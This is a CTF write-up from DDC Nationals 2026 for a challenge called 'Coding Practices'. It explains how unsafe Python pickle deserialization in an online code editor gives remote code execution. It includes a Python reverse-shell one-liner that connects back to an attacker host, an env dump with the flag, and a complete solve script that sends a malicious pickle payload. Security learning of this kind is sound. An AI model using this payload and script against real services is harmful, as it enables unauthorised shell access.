Marv1nh

Her er en side med mine writeups fra CTF challenges og andre projekter (Der kommer mere snart)

Coding Practices

Coding Practices

About the challenge

This challenge was part of the DDC Nationals 2026. I unfortunately did not solve this challenge during the event, but here is my writeup from a couple days later.

The challenge is an online python editor where you can input python code, save it and download it. The page also has an /about section, where you can see which technologies were used to build the application.

Bug

The page mentions a "Special thanks to the built-in pickle and base64 libraries". The challenge description says "Of course, you cant run your code on my machine :)", and when googling pickle rce, I found this page https://medium.com/@estheresom17/breaking-pickle-how-i-got-remote-code-execution-through-python-deserialization-e579637fcb2e.

This article (and many other) says that you can get RCE (Remote Code Execution) using the _reduce_() method.

The pickle docs even mention a warning, stating that pickle is not secure https://docs.python.org/3/library/pickle.html

I read the articles and made myself a nice little exploit script which is at the bottom of this page. I tried various reverse shell payloads from https://revshells.com, and I found one that worked:

export RHOST="{ip}";export RPORT={port};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

I later realised that there might have been more working payloads (that i tried before), but you had to reload the page, not just save the code.

I got the reverse shell, and the flag was found in the environment variables using the command env

# env
env
RPORT=4444
HOSTNAME=7bbb54c71b13
HOME=/root
GPG_KEY=7169605F62C751356D054A26A821E680E5FA6305
PYTHON_SHA256=c08bc65a81971c1dd5783182826503369466c7e67374d1646519adf05207b684
WERKZEUG_SERVER_FD=3
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
PYTHON_VERSION=3.12.13
PWD=/app
RHOST=10.0.240.244
FLAG=DDC{M4YB3-1LL-ST4Y-0FF-P1CKL35-N3XT-T1M3}

Solve Script


# Remember to start listener using nc -lnvp <port>
import pickle, os, base64, requests

ip = input("Enter your IP: ")
port = input("Enter your Port: ")

class EXPLOIT:
    def __reduce__(self):
        return (os.system, (f"""export RHOST="{ip}";export RPORT={port};python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'""",))
payload = pickle.dumps(EXPLOIT())

revshell = base64.b64encode(payload).decode()

s = requests.session()

rce = f"""
------geckoformboundaryb3120ed898c86b8ebb0fb71368a8db2b
Content-Disposition: form-data; name="code_content"

{revshell}
------geckoformboundaryb3120ed898c86b8ebb0fb71368a8db2b
Content-Disposition: form-data; name="submit"

Save
------geckoformboundaryb3120ed898c86b8ebb0fb71368a8db2b--
"""


r = s.post("http://codingpractices.cfire/", data=rce, headers={"Content-Type": "multipart/form-data; boundary=----geckoformboundaryb3120ed898c86b8ebb0fb71368a8db2b"})
r2 = s.get("http://codingpractices.cfire/")


← Back to all writeups